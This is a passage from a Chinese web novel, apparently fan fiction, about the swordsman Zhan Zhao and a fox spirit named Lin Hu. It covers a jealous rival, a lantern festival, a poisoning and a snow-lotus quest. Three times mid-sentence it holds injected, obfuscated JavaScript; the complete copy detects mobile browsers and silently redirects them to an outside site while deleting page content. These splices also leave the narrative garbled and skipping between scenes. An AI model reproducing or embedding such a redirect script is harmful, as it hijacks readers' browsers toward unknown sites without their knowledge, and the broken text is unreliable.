“嗷呜!”林狐被彻底激怒了。她从展昭怀里弹起来时,前爪带起的风扫过展昭的下颌,鼻尖几乎要碰到丁月华的手背。她不是真的想咬,只是想吓退这个总盯着她皮毛的女人,可丁月华尖叫着后退的样子,让她突然想起幼时在山中遇到的猎人——那些人看她的眼神,也是这样贪婪。 “林狐!”展昭的反应比剑还快。他伸手捞住林狐时,她的爪子已经挠到了丁月华的袖口,扯下了一缕湖蓝色的丝线。他把她紧紧按在怀里,手臂箍得她肋骨发疼,却在触到她颤抖的脊背时,下意识松了松力道——这小狐狸,是真的怕了。 林狐在他怀里挣了两下,圆睁的眼睛死死盯着丁月华,喉咙里发出“呜呜”的低吼,像只炸毛的小兽。她能闻到展昭身上的气息变了,皂角香里混进了淡淡的火药味,那是他动怒时才有的味道。 展昭抬起头时,目光已经冷得像巨阙剑的锋芒:“月华姑娘,开封府不是丁家庄,容不得你放肆。”他顿了顿,视线扫过丁月华被扯破的袖口,声音平静却带着千钧之力,“林狐是我要护着的人,谁也不能伤她分毫,包括你。” 丁月华被他看得浑身发寒,踉跄着后退半步,踩翻了廊下的竹筐。筐里的草药撒了一地,紫苏、薄荷、金银花混着泥土的腥气漫开来,像她此刻乱七八糟的心绪。“我到底哪里比不上这只狐狸?!”她终于忍不住哭出声,眼泪砸在青石板上,洇出小小的湿痕,“我为了你,千里迢迢从江南赶来,放下姑娘家的矜持,在你面前苦苦哀求,你却……你却为了一只畜生凶我!” 她想起临行前,母亲往她行囊里塞的那包桂花糕,说展昭是北方人,许是吃不惯江南的甜;想起二哥丁兆蕙拍着胸脯保证,说展昭定会对她另眼相看;想起自己对着铜镜练习行礼时,耳尖发烫的模样……原来这一路的风尘仆仆,在展昭眼里,竟比不上一只狐狸的龇牙咧嘴。 “她不是畜生。”展昭的声音很轻,却像重锤敲在丁月华心上,“她是林狐,是我展昭此生唯一想护着的人。”他看着丁月华通红的眼睛,终究还是放缓了语气,“丁姑娘,你若还念及丁家庄与开封府的情分,便请回吧。汴京的风沙大,不适合你;我……也不适合你。” 最后那句“不适合你”,像把钝刀,慢慢割着丁月华的骄傲。她看着展昭怀里那只狐狸——此刻它正把脸埋在展昭颈窝,尾巴尖得意地扫着他的衣襟,像在宣示主权。她突然觉得很可笑,自己这十二日的奔波,倒像是场自取其辱的闹剧。 “好,好一个展昭!”她惨笑着抹掉眼泪,转身就跑。杏色的褙子在回廊尽头一闪,像片被秋风卷走的落叶。路过影壁时,她撞翻了那盆公孙先生精心养护的秋菊,陶盆碎裂的声音,像她此刻的心。 ***丁月华走后,院子里静得能听见竹叶落在地上的声音。 林狐在展昭怀里渐渐安静下来。她能感觉到他的心跳慢慢平复,从刚才的擂鼓般急促,变回沉稳的“咚咚”声,像她枕过的那只装满荞麦的枕头。她用脑袋轻轻蹭着他的下巴,那里的胡茬有点扎,却让她觉得安心——这是展昭的味道,是属于她的味道。 展昭低头时,正撞见她湿漉漉的眼睛。那里面还带着点后怕,瞳孔却已经变回温顺的椭圆形,像浸在水里的黑曜石。她的毛发还没完全平复,背上有几撮毛倔强地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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按宋代的规矩,男子不可与女子(哪怕是只狐狸)在院中独处至深夜,可展昭抱着她坐在廊下,一动不动。月光从窗棂爬进来,把他们的影子投在地上,被竹影割成一片一片,却又在不经意间慢慢拼合,变成个密不透风的圆,像她用尾巴圈出的形状。 展昭的指尖无意识地摩挲着她的耳朵。他想起丁月华的话,想起那些“人妖殊途”的顾虑,想起包拯看他时欲言又止的眼神。可低头看见怀里这只小狐狸——她正把脸埋在他的衣襟里,发出满足的“呼噜”声,尾巴尖还在随着他的心跳轻轻晃动——那些顾虑,突然就变得轻飘飘的,像被风吹散的柳絮。 他想起第一次见她,是在那农户家里,她缩成毛茸茸的一团,用爪子被木板夹住,可怜巴巴的;想起她第一次化人形,裹着他的官袍,连走路都顺拐;想起她偷偷把偷来的桂花糕塞进他靴筒,被发现时耳朵红得像樱桃……原来不知不觉间,这只小狐狸已经在他心里,挖了个暖暖的窝,再也腾不出地方给别人了。 “展昭,”林狐突然抬起头,用鼻尖碰了碰他的嘴唇。她的声音软软的,带着点刚睡醒的迷糊,“我们以后再也不分开了好不好?”她听说汴京的冬天很冷,冷得能冻住汴河的水,她想窝在他怀里过冬,像山里的熊瞎子窝在树洞里那样。 “好。”展昭低头,在她额头上印下一个吻。很轻,像一片雪花落在眉心,“再也不分开了。” 风吹过竹林,发出沙沙的声响,像是在应和他的话。月光洒满庭院,把展昭的绯红官袍染成银白,也把林狐毛茸茸的尾巴,变成了条闪着光的银链,一圈圈绕在他的腰间,再也解不开了。 远处传来打更人的梆子声,“咚——咚——”,是亥时了。按开封府的规矩,此刻各院该落锁了,可展昭抱着林狐,依旧坐在廊下。他知道,丁月华的离开不是结束,未来还会有很多麻烦——或许是包拯的质问,或许是世人的非议,或许是那些躲在暗处的妖邪,觊觎林狐的内丹。 可他不怕。 怀里的小狐狸已经睡着了,呼吸均匀地喷在他的颈窝,像团小小的暖炉。展昭调整了个姿势,让她靠得更舒服些,然后闭上眼睛。 只要她还在,这开封府的灯,就永远不会灭。 30. 灯市情浓,心渐明 粮仓案了结后的第十日,便是上元节。汴京的雪已经化了大半,街面上的泥泞混着残雪,踩上去黏糊糊的,却挡不住百姓的热情。从清晨起,鼓楼附近就支起了摊子,卖花灯的、捏面人的、吹糖人的,吆喝声此起彼伏,像锅沸腾的水。 展昭难得休沐,却被林狐缠得没法安生。她天不亮就爬起来,用爪子拍他的脸,非要他陪她去逛灯会。“张厨子说灯会上有兔子灯,”她拽着他的官袍不放,尾巴尖扫过他的下巴,“还有会跳舞的木偶,我要去看!” 展昭被她闹得没辙,只好换上便服——件月白色的直裰,外面罩着件藏青色的披风。林狐看见他换衣服,眼睛都直了,围着他转了三圈:“你今天……很好看。” 他失笑,伸手揉了揉她的头发。她今天也换了身新衣裳,是件水红色的襦裙,领口绣着几朵金线绣的桃花,是公孙先生特意让人做的,说是衬她的毛色。“走吧,再不去,兔子灯就要被抢光了。” ***街上早已人山人海。林狐紧紧攥着展昭的手,生怕被人群冲散。她的指尖凉丝丝的,像揣着块冰,却攥得极紧,把他的手都捏红了。 “慢点跑。”展昭无奈地跟着她往前挤,看见个卖糖画的摊子,突然停下脚步,“你不是要糖画狐狸吗?” 糖画师傅的铜勺在青石板上游走,转眼间就画出只栩栩如生的狐狸,尾巴翘得高高的,像在撒娇。林狐看得眼睛都直了,口水差点流下来。展昭买了下来,递给她时,她却突然踮起脚尖,把糖画往他嘴边送:“你先吃。” 展昭咬了一小口,甜腻的糖浆在舌尖化开,带着点桂花的香。他看着林狐满足的笑脸,突然觉得,这上元节的热闹,都不及她眼里的光。 两人往前走了没几步,就听见一阵喝彩声。原来是个耍猴的班子在表演,猴子穿着小官服,戴着乌纱帽,模仿着官员升堂的样子,逗得围观的人哈哈大笑。 林狐却突然皱起了眉头,往展昭怀里缩了缩。“它们不高兴。”她小声说,“脖子上的链子勒得太紧了,疼。” 展昭低头看她,发现她的眼圈红红的,像含着泪。他突然想起她幼时被猎人追捕的经历,心里像被针扎了一下。“我们去那边看木偶戏,”他牵着她往另一边走,“比猴子好玩。” 木偶戏演的是《白蛇传》,白素贞的木偶做得活灵活现,水袖一甩,竟真的像在腾云驾雾。林狐看得入了迷,连手里的糖画化了都没察觉,糖浆滴在她的手背上,黏糊糊的。 “笨狐狸。”展昭掏出帕子,小心翼翼地帮她擦掉手背上的糖浆,指尖触到她温热的皮肤,像被烫了一下。 林狐的耳朵尖瞬间红了,往他身边靠了靠,肩膀轻轻蹭着他的胳膊。周围的人太多,她能闻到各种各样的味道——汗味、脂粉味、食物的香味,可只有展昭身上的皂角香,让她觉得安心。 ………… 转到西街时,遇见了正提着灯笼闲逛的白玉堂。他依旧穿着那件标志性的白衣,领口绣着银丝暗纹,手里把玩着颗夜明珠,珠光映得他眉眼愈发俊朗,却也添了几分桀骜。 “哟,这不是展护卫吗?”白玉堂挑眉笑了,目光在林狐身上打了个转,语气带着点戏谑,“怎么,今日不审案,改陪小狐狸逛灯会了?” 林狐往展昭身后缩了缩,尾巴尖警惕地竖起来。她不太喜欢这个白衣服的男人,总觉得他看自己的眼神像在看什么稀奇玩意儿,而且他身上的剑气太锐,刮得她耳朵疼。 “白兄也来赏灯?”展昭拱手回礼,语气不冷不热。他与白玉堂素来是亦敌亦友的关系,棋逢对手时能彻夜对弈,针锋相对时也能拔剑相向,此刻在灯会上遇见,倒也算意外。 “闲着无事,过来瞧瞧汴京的热闹。”白玉堂晃了晃手里的夜明珠,珠子在灯笼光下流转着七彩光晕,“倒是你,藏着这么个宝贝,竟从不肯带出来见人。” 他说着,突然伸手想去碰林狐的耳朵。林狐吓得往展昭怀里钻,展昭下意识侧身挡住,指尖在白玉堂手腕前半寸处停住,力道不重,却带着不容置疑的距离感:“白兄慎言。” 白玉堂的手僵在半空,随即低笑出声:“果然是护得紧。罢了,不逗你了。”他收起夜明珠,从袖中掏出个小巧的琉璃哨,递给林狐,“算我赔罪,这个送你。” 琉璃哨是孔雀蓝的,吹起来能发出清脆的鸟鸣。林狐看着那哨子,又看了看展昭,见他点头,才小心翼翼地接过来,指尖触到冰凉的琉璃,突然想起幼时在山中听到的画眉叫。 “多谢白公子。”她小声说,耳朵尖还红着。 白玉堂挑眉,显然没想到这只小狐狸还会道谢,倒愣了一下,随即摆摆手:“走了,你们继续恩爱。”说罢,白衣一闪,便消失在人群里,只留下串清脆的笑声,混在灯会的喧嚣中。 林狐捏着琉璃哨,突然抬头问展昭:“他是不是不喜欢我?” 展昭低头看她,灯笼光落在她脸上,睫毛投下淡淡的阴影,像只不安的小兽。“他性子就这样,对谁都带点刺。”他揉了揉她的头发,“不必放在心上。” 林狐点点头,却把琉璃哨攥得更紧了。她能感觉到,白玉堂看展昭的眼神里,除了较劲,还有种她读不懂的复杂情绪,像藏在冰层下的暗流。 ***往前走了不远,就看见个猜灯谜的摊子。挂着的红灯笼上写着各式谜语,猜中的能得一盏兔子灯。林狐盯着其中一盏,眼睛亮得像星星——那谜面是“身裹红绫,尾似流星,夜里出没,专抓小虫”,谜底分明就是狐狸。 “我知道这个!”她拽着展昭的袖子跳起来,声音清脆得像风铃,“是狐狸!” 摊主是个留着山羊胡的老者,闻言捋着胡子笑了:“小姑娘好眼力!这兔子灯归你了。” 林狐抱着兔子灯,笑得眉眼弯弯,尾巴在身后开心地晃成了圈,差点扫翻旁边的糖人摊子。展昭赶紧扶住她,却被她顺势拽到灯笼下——红光映在她脸上,绒毛在鬓角若隐若现,像幅流动的画。 “展昭,你看!”她举起兔子灯,灯光透过薄纸照出来,在地上投下晃动的兔影,“像不像我们上次在山里见过的雪兔?” 展昭看着她眼里的光,突然觉得心口被什么东西填满了,暖得发胀。他想起那夜在山中查案,雪下得比今日还大,这小狐狸非要追着只雪兔跑,结果掉进雪洞,还是他把她捞出来的,当时她冻得瑟瑟发抖,却还攥着雪兔掉落的绒毛。 “像。”他轻声说,指尖在她耳后轻轻碰了碰,那里的绒毛最软,像团云朵,“比雪兔还好看。” 林狐的脸“腾”地红了,往他怀里钻了钻,把脸埋在他的披风里。周围的喧嚣仿佛都消失了,只剩下他胸腔里沉稳的心跳,和兔子灯里烛火噼啪的轻响。 ***夜深时,灯会的人流渐渐稀疏。两人并肩走在回府的路上,林狐抱着兔子灯,展昭提着剩下的糖画,影子被灯笼拉得老长,在雪地上交缠在一起。 路过汴河时,看见有情侣在放河灯。莲花形状的河灯顺流而下,烛光在水面上晃出细碎的金斑,像撒了满地的星星。林狐突然停下脚步,眼睛亮晶晶地看着那些河灯。 “想放吗?”展昭问。 林狐点点头,却又摇摇头:“听说放河灯要许愿,我……我不知道该许什么。”她想要的太多了,想永远留在展昭身边,想让他永远不老,想让开封府的人都喜欢她,可这些愿望,好像太贪心了。 展昭从怀里掏出个小小的纸船,是他刚才在摊子上折的,上面还沾着点金粉。“不用许愿。”他把纸船放进她手里,“把想说的话写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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展昭的卧房里,烛火明明灭灭。林狐缩在床脚,背对着他,耳朵却竖得高高的,听着他平稳的呼吸声。过了许久,她听见他翻身的声音,随即感觉到他的手轻轻搭在她的腰上,带着小心翼翼的试探。 “冷吗?”他的声音在头顶响起,带着点沙哑。 林狐摇摇头,往他怀里挪了挪,后背贴上他的胸膛,感受到他身上传来的温度,像捂热的暖炉。“展昭,”她突然说,声音闷闷的,“你会不会觉得,我太黏人了?” 展昭的手顿了顿,随即把她抱得更紧了些,下巴抵在她的发顶:“不会。”他顿了顿,声音低沉而温柔,“我喜欢。” 林狐的眼泪突然掉了下来,砸在他的手背上,烫得他心头发颤。她转过身,往他怀里钻得更深,像只找到了巢穴的小兽。“展昭,我喜欢你。”她终于说出口,声音带着哭腔,却异常坚定,“比喜欢糖画狐狸,比喜欢兔子灯,比喜欢所有好吃的都喜欢。” 展昭的身体僵了僵,随即低笑出声,笑声震得胸腔发颤。他低下头,用鼻尖蹭了蹭她的额头,动作轻柔得像对待稀世珍宝:“我知道。” “你怎么知道?”林狐不服气地抬头,却撞进他深邃的眼眸里,那里映着烛火,也映着她的影子,像个密不透风的圆。 “因为我也是。”展昭的吻落在她的眉心,轻得像雪花,“林狐,我心悦你,很久了。” 烛火突然“噼啪”响了一声,把两人的影子投在墙上,交缠在一起,再也分不清彼此。林狐往他怀里钻了钻,用尾巴紧紧圈住他的腰,像在确认这个不会醒来的美梦。 窗外的月光洒满庭院,把开封府的屋顶染成银白,也把两颗紧紧相依的心,裹进了这上元节的暖夜里。林狐想,就算人妖殊途又怎样,就算前路有再多风雨又怎样,只要能这样抱着他,她就什么都不怕了。 因为她知道,展昭的怀里,就是她永远的家。 31. 春宴惊变,狐影随 上元节后的汴京,像被温水泡开的茶饼,渐渐舒展了筋骨。柳条在汴河岸边抽出嫩黄的芽,西街的花贩开始推着车叫卖桃花,连开封府墙角的青苔都泛着水润的绿。展昭刚在演武场教完新来的衙役练剑,就见公孙策摇着扇子从暖阁出来,手里捏着张烫金帖子,墨字在阳光下闪着光。 “包大人受邀去参加礼部尚书的春宴,”老大夫笑眯眯地晃了晃帖子,“说是要携幕僚同去,你与我,都在列。” 林狐正蹲在廊下啃苹果,闻言突然呛了口果肉,苹果核滚到展昭脚边。“春宴?”她扒着展昭的裤腿站起来,苹果汁在青缎子上洇出浅黄的痕,“是不是像话本里写的那样,有舞姬转圈,有琴师弹曲,还有堆成山的蜜饯?” 展昭弯腰捡起苹果核,指尖擦过她沾着果汁的嘴角:“差不多。但规矩多,不许乱跑,更不许……”他顿了顿,看着她亮晶晶的眼睛,把“不许偷吃东西”咽了回去,“不许化原形。” 林狐的耳朵瞬间耷拉下来,像被雨打蔫的柳叶。她还是觉得毛茸茸的样子自在,尤其在人多的地方,缩在展昭怀里就能躲过所有打量的目光。可看他板起的脸,终究还是点了头:“知道了。” ***赴宴那日,林狐换上了公孙策特意让人做的烟霞色襦裙,领口绣着缠枝莲,裙摆缀着细碎的珍珠,走路时叮当作响,像串会移动的风铃。展昭看着她对着铜镜转圈,尾巴尖在裙摆下悄悄扫过地面,突然伸手帮她把歪了的发簪扶正——那是支白玉簪,是他用月俸在“聚宝阁”买的,玉质温润,雕着只蜷缩的狐狸。 “这样就好看了。”他的指尖在她耳后停了停,那里的绒毛被发胶抿住,看着竟有些陌生。 林狐的脸颊腾地红了,往他怀里钻了钻,鼻尖蹭着他的朝服——今日他穿了绯红官袍,玉带束腰,乌纱帽的翅子在阳光下泛着乌金的光,比平日更多了几分威严。“你也好看。”她小声说,声音闷在他的衣襟里,“像话本里的状元郎。” 展昭低笑出声,牵着她往外走。开封府的马车停在门口,黑漆车身上描着金线,车轮碾过青石板时,发出沉稳的声响。林狐第一次坐这么华丽的马车,好奇地扒着车窗往外看,看见街面上的行人对着马车指指点点,突然把脸埋进展昭怀里。 “他们都在看我们。”她的声音带着点紧张,“会不会觉得我不配跟你坐一起?” 展昭的手顿了顿,随即把她抱得更紧了些。马车里的熏香混着她身上的皂角香,形成种奇异的安稳气息。“在我心里,没人比你更配。”他的声音很低,却清晰地钻进她耳朵里,像颗投入心湖的石子,荡开层层涟漪。 ***礼部尚书的府邸在城东,朱漆大门前蹲着两尊石狮子,嘴里的石球被摸得锃亮。门房接过帖子时,眼睛在林狐身上溜了三圈,嘴角撇出点不屑——这姑娘穿着虽体面,可举手投足间带着点野气,不像官宦人家的小姐。 林狐察觉到那目光,指甲悄悄掐进展昭的掌心。她想起小时候在山里,猎户家的狗也是这样看她的,带着审视与轻蔑。展昭反手握住她的手,指尖在她掌心轻轻画了个圈,像在说“别怕”。 正厅里早已宾朋满座。文官们穿着藏青或石绿的官袍,聚在角落讨论新政;武将们则敞着衣襟,高声谈论边关战事;女眷们围在花架旁,手里捏着丝帕,眼神却像沾了蜜的针,在彼此的衣饰上扫来扫去。 “那不是南侠展昭吗?”有人认出了他,声音里带着惊叹,“身边那个是谁?看着眼生。” “听说他最近养了只狐狸,难不成……” 窃窃私语声像蚊子似的钻进林狐耳朵,她往展昭身后缩得更紧了,尾巴在裙摆下不安地扫着地面。展昭感受到她的颤抖,突然停下脚步,转身对众人拱手:“这位是林狐姑娘,乃家师故人之女,暂居开封府。” 他的声音不大,却带着股不容置疑的力道,瞬间压下了所有议论。林狐抬头看他,发现他的侧脸在烛火下绷得很紧,却在与她对视时,眼底漾起温柔的涟漪,像春风拂过的湖面。 ***宴席开在花园的水榭上,雕花的栏杆外就是鱼池,红鲤在水里游弋,尾鳍扫过水面,惊起细碎的银花。林狐被安排坐在展昭身边,面前的青瓷碟子里堆着蜜饯,有她爱吃的金橘脯和话梅,显然是展昭特意吩咐的。 酒过三巡,礼部尚书突然拍了拍手,廊下走出队舞姬,水红色的裙摆旋转起来,像朵朵盛开的桃花。宾客们纷纷叫好,林狐却没什么兴致,只是用银签戳着碟子里的话梅,耳朵却竖着听展昭与旁边的大理寺卿说话。 “听说前日枢密院的王都虞候在牢里自尽了?”大理寺卿的声音压得很低,带着点探究,“死前还留了封信,说是牵扯到前朝的玉玺?” 展昭的指尖在酒杯沿顿了顿:“此事还在查,不便多言。” 林狐的心猛地一跳。玉玺?她想起幼时在山中听老狐狸说过,前朝的传国玉玺失踪时,天空出现过七彩霞光,说是被灵物叼走了。难道…… “展护卫这是在藏私啊。”大理寺卿哈哈笑着举杯,“不过也是,开封府的案子,向来是天机不可泄露。” 两人碰了杯,话题转到别处。林狐却没心思再听,眼睛直勾勾地盯着水榭尽头的假山——那里的阴影里,蹲着个穿灰衣的男子,正用淬了毒的箭瞄准展昭的后背,箭镞在月光下闪着幽蓝的光! “小心!”林狐想也没想就扑过去,用身体挡住展昭。箭羽擦着她的肩膀飞过,钉在廊柱上,箭尾还在嗡嗡作响,毒液顺着木纹渗进去,留下道乌黑的痕。 “林狐!”展昭的声音像被冰碴冻过,他抱住软倒的她,发现她的肩膀已经肿起一片,乌青色的毒痕正顺着血脉往上爬,“公孙先生!” 公孙策闻讯赶来时,脸色瞬间变得惨白。他掏出随身携带的解毒丸塞进林狐嘴里,又用银针刺破她的指尖放血,动作快得像一阵风:“是‘牵机引’!比王都虞候用的毒还烈!” 宾客们早已乱作一团,礼部尚书吓得瘫在椅子上,嘴里直念叨:“护驾!快护驾!”穿灰衣的男子趁机想逃,却被展昭甩出的剑鞘砸中膝盖,“扑通”一声跪在地上。 “说!是谁派你来的?”展昭的声音冷得像巨阙剑的锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268123|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒,他的手还在微微发颤,不是因为怕,是因为后怕——若刚才林狐慢了一步,中箭的就是他。 灰衣男子咬着牙不肯说话,嘴角却溢出黑血,竟是服毒自尽了。展昭看着他渐渐僵硬的脸,又低头看怀里的林狐——她的嘴唇已经发紫,呼吸微弱得像风中的烛火,眼泪顺着眼角往下流,滴在他的手背上,带着滚烫的温度。 “别怕,”他用额头抵着她的额头,声音抖得不成样子,“我这就带你回府,公孙先生会治好你的,一定会的……” 林狐看着他慌乱的样子,突然虚弱地笑了笑,用尽力气抓住他的衣襟:“展昭……我没事……就是……有点冷……” 她的声音越来越小,最后彻底晕了过去。展昭抱起她就往外跑,官袍的下摆被栏杆勾住也浑然不觉,只知道要快点,再快点,要让她活下去,哪怕用自己的命换也愿意。 ***马车在青石板上狂奔,车轮碾过积水,溅起的泥点打在车帘上,像泼洒的墨汁。公孙策正在给林狐施针,银针扎进她的穴位,冒出缕缕黑烟,那是毒气被逼出来的样子。 “怎么样?”展昭的声音嘶哑得像被砂纸磨过,他紧紧攥着林狐的手,感觉她的体温越来越低,像块逐渐冷却的玉。 “暂时稳住了,但毒已入肺腑,”公孙策的额头渗着冷汗,“必须用千年雪莲做药引,可那东西……只有大雪山才有,远在千里之外啊。” 展昭的心沉了下去。千里之外?林狐能等那么久吗?他看着她苍白的脸,想起她啃苹果时沾了果汁的嘴角,想起她看灯会时亮晶晶的眼睛,想起她往他怀里钻时毛茸茸的头顶……这些画面像刀子似的割着他的心,疼得他几乎喘不过气。 “我去。”他突然说,声音坚定得像块磐石,“你们先回府,用最好的药材吊着她的命,我这就去大雪山,把雪莲带回来。” 公孙策愣住了:“可你走了,开封府的案子怎么办?还有那玉玺的线索……” “案子可以放放,玉玺可以再找,”展昭打断他,指尖轻轻拂过林狐肿起的肩膀,“但她不能等。” 马车刚停在开封府门口,展昭就跳了下去,连官袍都没换,只抓起墙上的巨阙剑,对迎出来的张龙赵虎道:“看好林姑娘,我去去就回。” 林狐在这时突然睁开眼,虚弱地抓住他的手腕:“别去……”林狐幼时的记忆里,君竹告诉过她,也不知现在是否还在,她的声音气若游丝,“我知道玉玺在哪……在……在碧波潭的龙宫里……他们要的是这个……你别为了我……” 话没说完,她又晕了过去。展昭看着她松开的手,突然明白了——那些人不是要杀他,是要逼林狐说出玉玺的下落。而他的小狐狸,宁愿自己中毒,也不肯把藏着的秘密说出来。 “等我。”展昭在她额头印下一个吻,转身跃上马背。马蹄声在寂静的街道上响起,像急促的鼓点,敲向遥远的雪山方向。他不知道前路有多少艰险,不知道能不能赶在毒发前带回雪莲,但他知道,他必须去,为了怀里那只总爱往他掌心钻的小狐狸,为了那句还没说出口的“永远”。 32. 雪山寻莲,碧波情 展昭离开后的第三日,汴京下了场春雨,淅淅沥沥的,把青石板洗得发亮。林狐躺在开封府的软榻上,肩膀的毒痕虽没再扩散,脸色却依旧苍白得像宣纸,嘴唇也没什么血色,只有偶尔哼唧时,才会喊出“展昭”两个字,尾音拖得长长的,像只找不到家的小兽。 公孙策每日都来施针,银针刺破皮肤时,她会下意识地缩一下,眉头皱得像团乱麻。张龙赵虎轮流守在门口,看见她醒了就赶紧端来稀粥,可她总是吃不了两口就放下,眼睛直勾勾地盯着窗外,像在等什么人。 “林姑娘,喝点药吧。”小丫鬟端着黑褐色的药碗进来,脸上带着怯怯的笑,“公孙先生说,喝了这个,就能快点好起来,等展护卫回来,就能带你去逛庙会了。” 林狐的睫毛颤了颤,接过药碗一饮而尽。苦涩的药味在舌尖蔓延,她却没像往常那样皱眉头——展昭说过,良药苦口,只要能快点好起来,再苦她也能忍。 夜里,她总爱做噩梦。梦见展昭在雪山里被雪崩埋了,梦见他被毒蛇咬了,梦见他找不到雪莲,一脸绝望地站在雪地里……每次惊醒时,枕头都湿透了,尾巴在裙摆下抖得像秋风里的落叶。 “展昭……你快点回来啊……”她抱着他留下的披风,把脸埋在上面,那里有他的味道,皂角香混着淡淡的墨香,能让她稍微安心些,“我再也不跟你闹脾气了,也不偷藏你的官帽了,你回来好不好……” ***与此同时,展昭正在翻越昆仑山的雪线。凛冽的寒风像刀子似的刮在脸上,冻得他嘴唇发紫,官袍早已被雪水浸透,贴在身上冷得像冰。他怀里揣着块干粮,是出发前张厨子烤的锅盔,硬得能硌掉牙,可他舍不得多吃,想着要留到找到雪莲后,庆祝时再啃。 路上遇到个采药的老汉,看见他这副打扮,啧啧称奇:“后生,你这是从哪来?穿成这样就敢闯雪山?” “汴京。”展昭的声音冻得发僵,他指了指远处的雪峰,“请问老丈,知道哪里有千年雪莲吗?” 老汉往他手里塞了块青稞饼:“千年雪莲?那是神物,长在雪线以上的悬崖上,有雪豹守着,多少采药人去了都没回来。”他打量着展昭,“你要那东西做什么?” “救一个很重要的人。”展昭咬了口青稞饼,饼渣掉在雪地上,瞬间被冻住,“就算有雪豹,我也要去。” 老汉叹了口气,从怀里掏出张羊皮地图:“这是我年轻时画的,或许能帮你。但记住,日落前一定要下山,雪山上的夜,能冻掉人的魂。” 展昭谢过老汉,揣好地图继续往上爬。积雪没到膝盖,每走一步都异常艰难,巨阙剑被他当成拐杖,剑鞘在冰面上划出深深的痕。他想起林狐总爱用爪子磨他的剑鞘,说这样能让剑更锋利,那时觉得她胡闹,此刻却突然希望她能在身边,哪怕只是磨剑鞘也好。 ***第五日傍晚,展昭终于在一处悬崖上找到了千年雪莲。淡紫色的花瓣裹着冰晶,在夕阳下泛着圣洁的光,旁边的岩洞里,果然卧着只雪豹,绿幽幽的眼睛正盯着他,喉咙里发出威胁的低吼。 “我只要雪莲,不伤你。”展昭握紧巨阙剑,声音平静却坚定。他不想杀生,可这雪莲关系到林狐的性命,他不能退缩。 雪豹猛地扑了过来,利爪带着风声扫向他的面门。展昭侧身避开,剑鞘横扫过去,正打在雪豹的腰上。雪豹吃痛嘶吼,却不肯退让,再次扑上来,獠牙咬向他的手腕。 展昭反手扣住雪豹的脖颈,将它按在雪地上。就在这时,他发现雪豹的前腿上有道很深的伤口,还在渗血,想必是被猎人的陷阱伤的。他突然松开手,从怀里掏出公孙策给的金疮药,递到雪豹面前。 雪豹愣住了,绿眼睛里满是警惕,却没再攻击。展昭慢慢后退,指了指雪莲,又指了指它的伤口,像在说“我取了雪莲就走,不会伤害你”。 雪豹盯着他看了半晌,突然转身钻进岩洞,没再出来。展昭松了口气,小心翼翼地摘下雪莲,用布包好揣进怀里,转身往山下走。夕阳把他的影子拉得老长,在雪地上投下孤独的剪影,像个执着的朝圣者。 ***回程比来时快了许多,展昭日夜兼程,第七日清晨终于抵达开封府。他推开卧房的门时,看见林狐正坐在窗边发呆,阳光落在她的肩膀上,把乌青色的毒痕照得格外清晰。 “林狐。”他的声音沙哑得几乎认不出来。 林狐猛地回头,看见他满身风雪地站在门口,怀里紧紧揣着个布包,眼泪瞬间涌了出来:“展昭……你回来了……” 展昭几步冲过去,把她抱进怀里,动作急得差点碰掉她肩膀的伤口:“我回来了,你看,雪莲我带来了。” 他打开布包,千年雪莲的清香瞬间弥漫开来,林狐的脸色竟肉眼可见地好了些。公孙策闻讯赶来,看见雪莲,激动得胡子都在抖:“太好了!快!我这就去熬药!” 药熬了整整三个时辰,药香飘满了整个开封府。林狐喝药时,展昭就坐在床边,用银勺一点点喂她,动作轻柔得像在呵护易碎的珍宝。药很苦,林狐却没皱眉,只是盯着他冻裂的嘴唇,眼泪一颗颗掉进药碗里。 “哭什么?”展昭用帕子擦去她的眼泪,指尖在她耳后轻轻摩挲,“我这不是好好的吗?” “你的手……”林狐抓住他的手腕,他的手背上布满冻疮,有的地方还在渗血,显然是在雪山上冻的,“一定很疼吧。” “不疼。”展昭笑了,把她的手贴在自己脸上,“只要你没事,就什么都不疼。” ***喝了三天药,林狐肩膀的毒痕终于消退,只留下浅浅的粉印,像朵快要谢的桃花。她又能像以前那样蹦蹦跳跳了,只是总爱黏在展昭身边,他去演武场她就蹲在栏杆上看,他去书房她就趴在案头睡觉,连他去茅房都要守在门口,生怕一转身人又不见了。 展昭被她缠得没法子,却也甘之如饴。他处理公务时,她就给他研墨,虽然总把墨汁溅到宣纸上;他练剑时,她就给他递水,虽然总把水洒在他的官袍上;他吃饭时,她就给他夹菜,虽然总把自己不爱吃的葱姜夹给他。 “你呀。”展昭无奈地摇摇头,把她夹过来的葱段又夹回她碗里,“自己吃,不许挑食。” 林狐噘着嘴,把葱段埋在米饭底下,像在藏什么宝贝。“我不喜欢吃葱。”她小声说,眼睛却瞟着他碗里的鸡腿,尾巴尖在桌下悄悄勾着他的裤腿。 展昭低笑,把鸡腿夹给她:“吃吧,小馋猫。” 林狐立刻笑开了花,抱着鸡腿啃得满嘴流油,像只得到骨头的小狗。展昭看着她的样子,突然觉得,这比破获任何大案都让人满足。 ***这天午后,阳光正好,林狐躺在软榻上晒太阳,尾巴在身后轻轻晃悠。展昭坐在旁边看卷宗,突然听见她“咦”了一声,坐起身往窗外看。 “怎么了?”他问。 “你看!”林狐指着窗外,“是青丘的竹君哥哥!他怎么来了?” 